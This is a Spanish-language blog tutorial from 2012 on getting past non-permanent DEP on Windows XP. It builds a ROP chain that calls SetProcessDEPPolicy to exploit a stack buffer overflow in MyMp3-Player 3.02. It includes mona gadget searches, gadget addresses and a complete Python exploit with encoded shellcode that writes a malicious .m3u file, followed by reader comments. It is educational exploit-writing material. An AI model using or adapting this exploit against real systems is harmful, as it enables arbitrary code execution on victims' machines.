domingo, 22 de julio de 2012

Bypass DEP NO Permanente con SetProcessDEPPolicy()

Después de ver cómo era posible la evasión de SafeSEH que implementa Windows para el manejo de excepciones, hoy se va a ver cómo poder eludir la protección de memoria DEP (Data Execution Prevention) en los procesos que NO se encuentre asignada de forma permanente.

Nota: Si es de las primeras veces que leéis temas de exploiting o ingeniería inversa, quizás os interese más empezar por algo más sencillo como: Explotación de Stack Buffer Overflow o Introducción a la ingeniería inversa en x86.

Como bien sabréis la protección DEP se encarga de prevenir la ejecución de código en regiones innecesarias como la PILA, HEAP, etc., y es posible configurarla de cuatro maneras distintas:

  1. OptIn: Únicamente se aplica la protección DEP a los procesos que lo indiquen. (Opción por defecto en Windows XP, Vista y 7)
  2. OptOut: Se aplica DEP “No Permanente” a todos los procesos que sean ejecutados, lo soporten o no (exceptuando los añadidos en una lista).
  3. AlwaysOn: Se aplica DEP “Permanente” a todos los procesos que sean ejecutados, lo soporten o no.
  4. AlwaysOff: La protección DEP se encuentra deshabilitada.

Para este artículo nos basaremos en la vulnerabilidad Stack Buffer Overflow que ya se explotó en la aplicación MyMp3-Player 3.02.

En primer lugar visualizamos mediante la herramienta ProcessExplorer como la aplicación MyMp3-Player al ser ejecutada no dispone de la protección DEP.

image

Activamos la protección DEP a nuestro sistema. (MI PC / Propiedades / Opciones Avanzadas / Rendimiento / Configuración / Prevención de ejecución de datos)

image

Si reiniciamos el sistema operativo y ejecutamos de nuevo la aplicación, podrémos observar como ésta ya se encuentra protegida con DEP.

image

Si ahora lanzáramos nuestro exploit contra la aplicación, ésta nos daría un error, ya que no es posible ejecutar código en la PILA debido a la protección DEP.

¿Y como explotamos la aplicaciones vulnerable ahora?

La respuesta a esto es ROP (Return oriented programming). A grandes rangos ROP, es la técnica que se encarga de la ejecución de código en una aplicación mediante la llamada y/o construcción de instrucciones o grupo de instrucciones de la propia aplicación o librerías externas, a través del control de la PILA.

Como la definición puede resultar bastante confusa (y más habiéndomela “inventado” ahora mismo), mejor ver un ejemplo.

Como ya sabemos DEP, nos impide la ejecución de código en la PILA, pero no nos impide utilizarla (PILA) para generarnos nuestros conjuntos de instrucciones y llamadas a funciones, y así poder llegar a ejecutar código.

Objetivo

Vamos a utilizar la función SetProcessDEPPolicy (encargada de habilitar (0x1) o deshabilitar (0x0) DEP en un proceso), para desactivar la protección DEP de nuestra aplicación vulnerable y así poder ejecutar nuestra ShellCode.

Diseño del nuevo exploit

Si recordáis para explotar la vulnerabilidad de la aplicación MyMp3-Player necesitábamos una estructura de exploit similar al siguiente.

image

En nuestro caso, ya no nos sirve utilizar este diseño de exploit, ya que al saltar a la ShellCode estamos ejecutando código en la PILA, acción que nos impide DEP. Por lo que, vamos a necesitar utilizar la técnica ROP en nuestro nuevo exploit, y aplicar nuevas llamadas a funciones, pasándoles nuevos parámetros, tal y como podemos observar en la siguiente captura.

image

Estructura de nuestro ROP

A primera vista no parece muy diferente a lo ya visto anteriormente, aunque la cosa se complica cuando no podemos añadir valores nulos a nuestro exploit ya que cortaría la cadena y no se completaría la ejecución. Aquí es donde entra el ingenio de cada uno y el modo de construirse sus propias funciones, yo para esta voy a utilizar la instrucción PUSHAD (introduce los registros EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI en la PILA, en el orden indicado), la cual nos facilita mucho el trabajo.

image

Existen varias cosas que hay que aclarar de la imagen anterior:

  1. Debido a que el registro ESP lo utilizaremos como primer parámetro (dirección de retorno a la cual se saltará después de la función SetProcessDEPPolicy), existen tres registros después (EBP, ESI y EDI) que han de ser rellenados, solo siendo necesario uno (EBP), por lo que, tenemos que rellenar el resto (ESI y EDI) con instrucciones que nos permitan continuar con las siguientes instrucciones, en este caso dos RETs.
  2. Debido a que no podemos aplicar bytes nulos tendremos que “trucar” el registro EBX para que este se convierta en bytes nulos (se detalla más adelante).
  3. Los registros EAX, ECX y EDX no son utilizador para este ROP, por lo que, no será necesario rellenarlos.

De este modo conseguiremos que la función SetProcessDEPPolicy sea ejecutada con el valor 0x00000000 (deshabilitar DEP), y que al finalizar dicha función, se retorne a la dirección “ESP ACTUAL”, donde se encontrará alojada nuestra ShellCode.

Construcción de nuestro ROP

Vamos a ir buscando la forma de conseguir que nuestros registros queden tal cual hemos visto en la captura anterior, teniendo en cuenta que ya disponemos del control de la PILA gracias al BOF.

1) Bytes nulos en EBX

Utilizaremos el script mona.py (tutorial) en Immunity Debugger para buscar el conjunto de instrucciones “POP EBX / RET” mediante el siguiente comando: !mona findwild -p 5 -n -s "pop ebx#retn"

image

Con esto ya disponemos de la instrucción que necesitábamos para subir datos al registro EBX y proseguir con las siguientes instrucciones, guardaremos el valor “0xFFFFFFFF” y posteriormente lo incrementaremos, consiguiendo así el valor “0x00000000” necesario en EBX.

...
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP = struct.pack('<L',0x77f4c25f) # POP EBX / RET
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x7e810b7e) # INC EBX / RET
...

El conjunto de instrucciones “INC EBX / RET” lo podemos localizar mediante el siguiente comando: !mona findwild -p 5 -n -s "inc ebx#retn"

2) SetProcessDEPPolicy en EBP

Para averiguar la dirección de memoria en la cual se encuentra la función SetProcessDEPPolicy he utilizado la herramienta Dependency Walker.

image

Sumada a la dirección base de la librería KERNEL32.dll (0x7c800000) + SetProcessDEPPolicy (0x00062144) obtenemos la dirección 0x7C862144. Guardamos la dirección en el registro EBP mediante el conjunto de instrucciones “POP EBP / RET” (comando: !mona findwild -p 5 -n -s "pop ebp#retn")

...
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP += struct.pack('<L',0x77f445bf) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
...

3) Instrucción RET en ESI y EDI

Buscamos los conjuntos instrucciones “RET”, “POP ESI / RET” y “POP EDI / RET” en el código mediante los siguientes comandos:

- !mona findwild -p 5 -n -s "retn"
- !mona findwild -p 5 -n -s "pop esi#retn" 
- !mona findwild -p 5 -n -s "pop edi#retn"

...
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP += struct.pack('<L',0x77f45493) # POP EDI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x77f4567e) # POP ESI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
...

4) PUSHAD como última instrucción

Buscamos la instrucción “PUSHAD” en el código mediante el siguiente comando: !mona findwild -p 5 -n -s "pushad#retn"

...
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP += struct.pack('<L',0x58c35ff7) # PUSHAD / RET
...

Si unificamos todo el código en uno obtendremos la siguiente cadena ROP:

...
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP = struct.pack('<L',0x77f4c25f) # POP EBX / RET
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x7e810b7e) # INC EBX / RET
ROP += struct.pack('<L',0x77f445bf) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
ROP += struct.pack('<L',0x77f45493) # POP EDI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x77f4567e) # POP ESI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x58c35ff7) # PUSHAD / RET
...

Si modificamos nuestro exploit añadiendo la cadena ROP y lo ejecutamos, observamos que:

image

Al ejecutar el primer conjunto de instrucciones “POP EBX / RET”, existe un problema, ya que nos está guardando en EBX la dirección 0x7e810b7e, que es la posterior a la que debería guardar (0xFFFFFFFF). La solución a esto es muy sencilla, únicamente bastará con añadir cuatro bytes de basura entre el conjunto de instrucciones “POP EBX / RET” y el valor 0xFFFFFFFF.

...
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP = struct.pack('<L',0x77f4c25f) # POP EBX / RET
ROP += struct.pack('<L',0x41414141) # JUNK <<--------------- BASURA
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0Xffffffff
...

Cargamos de nuevo el exploit y visualizamos como se ha resuelto el problema en la PILA.

image

Una vez ejecutada la instrucción PUSHAD podemos observar como disponemos en la PILA de las funciones y direcciones ordenadas correctamente.

image

Si proseguimos con la ejecución del exploit y visualizamos las características de la aplicación MyMp3-Player justo antes de cargar la ShellCode, se puede observar como éste ha dejado de implementar la protección DEP, gracias a la función ejecutada SetProcessDEPPolicy.

image

Continuamos la ejecución… y ¡LISTO! Ya hemos conseguido evadir la protección DEP No permanente mediante ROP ;)

image

Dejo el código del exploit final y un enlace para la descarga: [exploit_my_mp3_player_bypass_DEP.py]

'''
Title: MyMp3-Player '.m3u' Stack BOF (Bypass DEP)
Author: Daniel Romero Perez (@daniel_rome)
Software & Version: MyMp3-Player 3.02.067
Tested on: Windows XP SP3 - ES
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
Advisor: http://www.securityfocus.com/bid/38835/info
'''

import os
import struct

# Buffer
Buff = "\x41" * 1024

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
"\x46\x06")

Nops = "\x90" * 50

##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP = struct.pack('<L',0x77f4c25f) # POP EBX / RET
ROP += struct.pack('<L',0x41414141) # JUNK
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x7e810b7e) # INC EBX / RET
ROP += struct.pack('<L',0x77f445bf) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
ROP += struct.pack('<L',0x77f45493) # POP EDI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x77f4567e) # POP ESI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x58c35ff7) # PUSHAD / RET

# Exploit
exploit = Buff + ROP + Nops + ShellCode

# Create File
file = open("exploit_mymp3-player_BOF.m3u", "wb")
file.write(exploit)
file.close()

print ("Your file has been generated successfully!!")

Nota: Mona.py dispone de la opción “rop” que facilita en gran medida la búsqueda y construcción de cadenas ROP.

Un Saludo!!

 Referencias:

- https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
- http://en.wikipedia.org/wiki/Data_Execution_Prevention#Windows
- http://www.securitybydefault.com/2012/03/mitigaciones-de-seguridad-en-emetv21-i.html

6 comentarios:

  1. Muy bueno tu blog, tengo la maquina virtual con Windows XP ardiendo en exploits. Hasta ahora había leído reversing solo en English

    Gracias

    ResponderEliminar
  2. Gracias por la tutoría. Yo soy inglés pero yo comprendo muy bien. Gracias por la información :)

    ResponderEliminar